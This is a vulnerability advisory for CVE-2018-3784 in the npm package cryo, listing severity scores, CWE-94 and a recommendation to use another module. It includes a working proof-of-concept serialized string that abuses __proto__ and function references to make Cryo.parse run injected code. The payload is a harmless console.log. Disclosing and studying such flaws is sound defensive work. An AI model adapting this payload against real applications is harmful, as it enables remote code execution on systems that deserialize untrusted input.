CVE-2018-3784 – cryo
Package
Manager: npm
Name: cryo
Vulnerable Version: >=0 <=0.0.6
Severity
Level: Critical
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS: 0.00606 pctl0.68681
Details
Code Injection in cryo All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization. ## Proof of concept ```js var Cryo = require('cryo'); var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}' var hydrated = Cryo.parse(frozen); console.log(hydrated); ``` ## Recommendation No fix is currently available. Consider using an alternative module until a fix is made available.
Metadata
Created: 2018-08-21T17:02:43Z
Modified: 2023-09-12T18:38:55Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/08/GHSA-38f5-ghc2-fcmv/GHSA-38f5-ghc2-fcmv.json
CWE IDs: ["CWE-94"]
Alternative ID: GHSA-38f5-ghc2-fcmv
Finding: F422
Auto approve: 1